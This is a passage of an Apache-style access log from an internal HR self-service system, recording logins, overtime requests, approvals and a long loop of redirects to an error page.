"http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [29/Nov/2025:10:40:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [29/Nov/2025:10:40:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.40.60 - - [29/Nov/2025:10:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29257 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:42 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 29257 192.168.11.127 - - [29/Nov/2025:10:59:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:02 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.127 - - [29/Nov/2025:10:59:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:06 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:10:59:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.127 - - [29/Nov/2025:10:59:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10995 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10995 192.168.11.127 - - [29/Nov/2025:10:59:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12110 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12110 192.168.11.127 - - [29/Nov/2025:10:59:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12110 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12110 192.168.11.127 - - [29/Nov/2025:10:59:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3998 192.168.11.127 - - [29/Nov/2025:10:59:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:10:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16094 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:10:59:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 16094 192.168.11.127 - - [29/Nov/2025:11:00:03 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:03 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132627%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132627&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132627%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132627&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:08 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:09 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.127 - - [29/Nov/2025:11:00:10 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.127 - - [29/Nov/2025:11:00:10 +0800] "GET 